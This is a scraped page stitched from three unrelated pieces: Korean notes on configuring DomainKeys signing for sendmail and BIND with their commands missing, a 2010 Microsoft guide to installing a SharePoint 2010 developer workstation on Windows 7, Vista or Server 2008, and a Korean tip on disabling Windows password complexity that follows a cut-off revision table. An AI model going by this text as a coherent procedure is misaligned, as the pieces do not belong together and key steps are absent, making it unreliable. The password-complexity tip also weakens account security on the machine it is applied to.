이 내용의 출처는 다음과 같다. http://www.erikberg.com/notes/dkMakefilem4.html
다음 내용을 수정한다.
다음 내용을 작성한다.
모두 수정하였으면 컴파일한다..
도메인 키 레코드 정보를 생성한다.
정상적으로 되었으면 key 쌍을 생성한다.
생성한 키를 설치한다.
BIND를 수정한다. fookey._domainkey.foo.com 파일의 내용을 클립보드에 복사해둔다.
끝에 한 줄을 더 추가한다.
DNS 레코드에 정상 반영되었는지 확인한다.
원래는 위와 같이 하면 입력한 TXT 필드가 출력되어야 하나, 필자의 경우 nslookup 이나 dig의 문제인지, 혹은 BIND의 문제인지 첫 문자가 _ 로 시작하는 문제로 인해 에러가 났다. 확인해주는 사이트를 이용해 확인해볼 수 있다. 다음 사이트에 접속한다. : http://domainkeys.sourceforge.net/selectorcheck.html
sendmail을 수정한다. sendmail.mc 파일의 끝부분에 다음 내용을 추가해준다.
sendmail.cf 를 다시 빌드한다.
iptables 를 수정하여 TCP 8891 포트를 연다.
rc.local 을 수정하여 시스템 부팅시 자동으로 domainkeys 가 시작되도록 설정한다.
domainkeys 사용자를 생성하고 생성한 키에 대한 권한을 부여한 후 domainkeys 를 실행한다.
|
Published: May 2010
When you create or customize SharePoint solutions, it is usually best to develop the solution on a local computer where Microsoft SharePoint Server 2010 or Microsoft SharePoint Foundation 2010 is installed. This article describes how to install a development environment with Microsoft SharePoint 2010 and Microsoft Visual Studio 2010. The development environment that you create by using these instructions will not support SharePoint farm installations, and you should not host active production sites with this configuration. These instructions enable you to get started with an environment that is specifically suited to developing SharePoint custom solutions.
Note |
---|
For a Windows PowerShell script that installs and configures all of the prerequisites and products that you will need to get started with SharePoint Server 2010 development, see SharePoint 2010 Easy Setup Script. |
The requirements for a development environment are less stringent and costly than the requirements for a production environment, and the guidelines in this topic do not support a production environment installation. You have several options for preconfiguring the operating system of a local computer on which you will install SharePoint 2010 for development purposes. The choice that you make will be determined by factors specific to your organization and environment (such as budget, the size of your development team, and the operating systems that you and your organization are already using).
In any development environment, you should use a computer with an x64-capable CPU, and at least 2 gigabytes (GB) of RAM to install and run SharePoint Foundation; 4 GB of RAM is preferable. You should use a computer with 4 GB of RAM to install and run SharePoint Server; 6 GB to 8 GB of RAM is preferable.
Following are the options:
- Install SharePoint on Windows Server 2008 Service Pack 2 x64 (or Windows Server 2008 R2 x64).
- Use Microsoft Hyper-V and install SharePoint on a virtual machine running a Windows Server 2008 Service Pack 2 x64 (or Windows Server 2008 R2 x64) guest operating system.
- Install SharePoint on Windows 7 x64, Windows Vista Service Pack 1 x64, or Windows Vista Service Pack 2 x64.
- Use Microsoft Hyper-V and install SharePoint on a virtual machine running a Windows 7 x64, Windows Vista Service Pack 1 x64, or Windows Vista Service Pack 2 x64 guest operating system.
You must install the WCF Hotfix for Microsoft Windows. The hotfix is available for Windows Server 2008 Service Pack 2, Windows Vista Service Pack 1, and Windows Vista Service Pack 2 and for Windows Server 2008 R2 and Windows 7.
If you are using Windows Vista Service Pack 1 or Windows Vista Service Pack 2, install the hotfix for ASP.NET on IIS 7.0 (KB967535). This hotfix, which has already been installed on Windows 7, Windows Server 2008 Service Pack 2, and Windows Server 2008 R2, updates the ASP.NET common language runtime (CLR) to recognize a new option of optimizing compilations. To take advantage of this option, set the optimizeCompilations property of the <compilation> tag in your web.config file to true:
<compilation optimizeCompilations="true">
This change significantly improves the initial page load time after you have installed a solution to the bin directory.
You must install the ADO.NET Data Services Update for .NET Framework 3.5 SP1 to enable REST-based data services. This update is available for Windows Server 2008 Service Pack 2, Windows Vista Service Pack 1, and Windows Vista Service Pack 2 and for Windows Server 2008 R2 and Windows 7.
Windows 7 and Windows Vista cannot be used for production deployments of SharePoint 2010. If you use Windows 7 or Windows Vista for your development environment, you should have access to a test environment that has the same operating system installed as your production environment. Windows 7 and Windows Vista are recommended only for developer workstations and should be used only for stand-alone installations. You can use a separate Microsoft SQL Server instance, but you should not configure your installation as a SharePoint farm and you should not host active sites on this configuration.
SharePoint requires your operating system to have certain prerequisites installed before installation begins. For this reason, SharePoint includes a PrerequisiteInstalle.exe tool that installs all of these prerequisites for you. If your developer workstation is set up with the Windows Server 2008 Service Pack 2 or Windows Server 2008 R2 operating system, you can install SharePoint 2010 by running the PrerequisiteInstaller.exe tool (which is included with SharePoint 2010) to install the prerequisites that SharePoint needs, and then run Setup.exe. However, you cannot use PrerequisiteInstaller.exe on Windows 7 or Windows Vista. For those operating systems, you must follow the additional instructions in this section.
Because the default installation works only for Windows Server 2008, you must edit one configuration file and install many of the prerequisites manually. You must perform each of the following steps while logged on with an account that has administrator access on the local computer. These steps assume that you received the SharePoint 2010 distribution as a single compressed executable file named SharePointFoundation.exe for SharePoint Foundation 2010 and setup.exe for SharePoint Server 2010.
To set up a developer workstation
- Copy the SharePointFoundation.exe (or setup.exe) installation file to a folder on the computer where you are installing SharePoint and doing your development, such as in the following path:
c:\SharePointFiles
- Extract the installation files by opening a Command Prompt window, and then typing the following command at the directory location of the folder where you copied the installation files in the previous step.
For SharePoint Foundation 2010:
c:\SharePointFiles\SharePoint /extract:c:\SharePointFiles
For SharePoint Server 2010:
c:\SharePointFiles\OfficeServer /extract:c:\SharePointFiles
- Using a text editor such as Notepad, open the installation configuration file, config.xml, located in the following path: c:\SharePointFiles\files\Setup\config.xml
Add this line inside the <configuration> tag:
<Setting Id="AllowWindowsClientInstall" Value="True"/>
- Save the configuration file.
- Review the complete configuration file. It now looks similar to the following for SharePoint Foundation 2010. The complete configuration file will be longer for SharePoint Server 2010 (and therefore the text below cannot replace the contents of that file), but should use the same setting for the AllowWindowsClientInstall attribute.
<Configuration> <Package Id="sts"> <Setting Id="SETUPTYPE" Value="CLEAN_INSTALL" /> </Package> <DATADIR Value="%CommonProgramFiles%\Microsoft Shared\Web Server Extensions\14\Data" /> <Logging Type="verbose" Path="%temp%" Template="Microsoft Windows SharePoint Services 4.0 Setup *.log" /> <PIDKEY Value="PIDKey Value" /> <Setting Id="UsingUIInstallMode" Value="1" /> <Setting Id="SETUP_REBOOT" Value="Never" /> <Setting Id="AllowWindowsClientInstall" Value="True"/> </Configuration>
All of the text in this configuration file is case-sensitive. If you do not edit the configuration file as described in the previous step or if you do not save the configuration file, when you try to run the installation you see the error message shown in Figure 1.
- If you are using Windows Vista Service Pack 1 or Windows Vista Service Pack 2, you must install the following prerequisites:
- If you are using Windows Vista Service Pack 1, Windows Vista Service Pack 2, or Windows 7, install the following additional prerequisites:
- Microsoft FilterPack 2.0. At a command prompt, type the following:
c:\SharePointFiles\PrerequisiteInstallerFiles\FilterPack\FilterPack.msi
- Microsoft Sync Framework
- SQL Server Native Client
- Windows Identity Foundation (Windows6.1-KB974405-x64.msu)
- Chart Controls (this is not required if you are going to install SharePoint Foundation 2010).
- SQL Server Analysis Services - ADOMD.Net (this is not required if you are going to install SharePoint Foundation 2010).
- Microsoft FilterPack 2.0. At a command prompt, type the following:
- Manually enable each of the required Windows Features. You can do this quickly by copying and running the following command in a Command Prompt window.
Caution The following text contains line breaks. You must remove the line breaks to run this script from a command prompt.
start /w pkgmgr /iu:IIS-WebServerRole;IIS-WebServer;IIS-CommonHttpFeatures; IIS-StaticContent;IIS-DefaultDocument;IIS-DirectoryBrowsing;IIS-HttpErrors; IIS-ApplicationDevelopment;IIS-ASPNET;IIS-NetFxExtensibility; IIS-ISAPIExtensions;IIS-ISAPIFilter;IIS-HealthAndDiagnostics; IIS-HttpLogging;IIS-LoggingLibraries;IIS-RequestMonitor;IIS-HttpTracing;IIS-CustomLogging;IIS-ManagementScriptingTools; IIS-Security;IIS-BasicAuthentication;IIS-WindowsAuthentication;IIS-DigestAuthentication; IIS-RequestFiltering;IIS-Performance;IIS-HttpCompressionStatic;IIS-HttpCompressionDynamic; IIS-WebServerManagementTools;IIS-ManagementConsole;IIS-IIS6ManagementCompatibility; IIS-Metabase;IIS-WMICompatibility;WAS-WindowsActivationService;WAS-ProcessModel; WAS-NetFxEnvironment;WAS-ConfigurationAPI;WCF-HTTP-Activation; WCF-NonHTTP-Activation
- Verify that the required Windows Features are enabled. The command in the previous step enables all of the required features in the Internet Information Services section of the Windows Features dialog box (which you can access through the Programs section in Control Panel). Use Figure 2 and Figure 3 to check that you have enabled all of the required Windows Features. If any features are missing in your operating system, return to the Internet Information Services section of the Windows Features dialog box and enable them.
Note The following figures represent one Windows Features dialog box on a computer running the Windows 7 operating system. They have been broken into two figures for the sake of readability. The list of Windows Features will look the same on Windows Vista.
- Restart your computer to complete the changes that you made to Windows Features.
- To install SharePoint Server 2010 or SharePoint Foundation 2010, open a Command Prompt window, and then type the following at the command prompt:
c:\SharePointFiles\Setup.exe
- Accept the Microsoft Software License Terms.
- On the Choose the installation you want page, click Standalone to install everything on one developer workstation.
- If any errors occur in the installation, review the log file. To find the log file, open a Command Prompt window, and then type the following commands at the command prompt. The log file is displayed at the end of the directory listing.
cd %temp% dir /od *.log
Tip A link to the log file also appears when the installation is complete.
- After the installation is complete, you are prompted to start the SharePoint Products and Technologies Configuration Wizard. If you are using a local instance of Microsoft SQL Server 2008, install the Microsoft SQL Server 2008 KB 970315 x64 before starting the wizard. If your development environment uses a remote instance of Microsoft SQL Server 2008 or if it has a pre-existing installation of Microsoft SQL Server 2008 on which KB 970315 x64 has already been applied, this step is not necessary. With the wizard open, do the following:
- Install SQL Server 2008 KB 970315 x64.
- After the Microsoft SQL Server 2008 KB 970315 x64 installation is finished, complete the wizard.
- Alternatively, you can choose not to run the wizard by clearing the SharePoint Products and Technologies Configuration Wizard check box and closing the completed installation dialog box. Install SQL Server 2008 KB 970315 x64, and then manually start the SharePoint Products and Technologies Configuration Wizard by opening a Command Prompt window and executing the following command:
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\14\BIN\psconfigui.exe
Caution |
---|
The SharePoint Products and Technologies Configuration Wizard may fail if you are using a computer that is joined to a domain but that is not connected to a domain controller. If you see this failure, connect to a domain controller either directly or through a Virtual Private Network (VPN) connection, or sign in with a local account that has administrative privileges on the computer. |
After the configuration wizard is complete, you see the new SharePoint site.
- Install Visual Studio 2010.
- Download and install the Microsoft SharePoint 2010 SDK.
After you set up a working development environment on a physical host computer, you can store your setup as a virtual computer, so that others can use it, or so that you can reuse this "clean" installation at a later date. Alternatively, you can set up a development environment on a newly created virtual machine. The Hyper-V role in Windows Server 2008 Service Pack 2 provides infrastructure and management tools that enable you to create multiple server environments on a single host. For more information, see Getting to Know Hyper-V: A Walkthrough From Initial Setup to Common Scenarios. For a useful Windows PowerShell script that enables you to create a virtual hard drive (VHD) out of an existing Windows Server 2008 image, see Install-WindowsImage PowerShell Script on MSDN Code Gallery.
If you are using Windows 7, you can also create a VHD on which SharePoint is installed in Windows Hyper-V, and then configure Windows 7 with BDCEdit.exe so that it boots directly to the operating system on the VHD. This improves performance because the virtualization layer is not present. It also enables you to use VHD differencing disks (VHDs that contain only elements that differ from a single base installation), which save disk space and make it easier to roll back changes. See Deploy Windows on a Virtual Hard Disk with Native Boot to learn more about this kind of configuration.
If you choose to create a single server installation on a virtual computer, the standard memory requirements still apply. Your virtual computer requires at least 2 GB (preferably 4 GB) of RAM. Virtualization also gives you the opportunity to create a server farm that includes more than one machine. In a farm installation of SharePoint Server 2010, each machine requires at least 1.5 GB (preferably 2 GB) of RAM. You could run a fully functional domain infrastructure on a setup installation such as the following example installation:
- Two virtual computers, each with 2 GB of RAM
- Domain controller and Microsoft SQL Server 2008 running on one computer
- SharePoint Server 2010 and two Web applications (including Central Administration) running on another computer
Other Resources
Date |
Description |
Reason |
---|---|---|
May 2010 |
만약 사용자가 임의로 간단한 패스워드를 원할 시에는 다음과 같이 암호 정책을 바꿔주면 됩니다.
1. 실행창에 gpedit.msc를 입력합니다.
2. 로컬 컴퓨터 정책 → 컴퓨터 구성 → Windows 설정 → 보안 설정 → 계정 정책 → 암호 정책에서 암호 복잡성을 만족해야 함을 클릭합니다.
3. 속성을 사용 안 함을 선택하고 확인을 클릭합니다.
4. 시스템 패스워드를 다시 설정합니다.(Ctrl + Alt + Del 키를 누르면 암호를 변경할 수 있습니다.)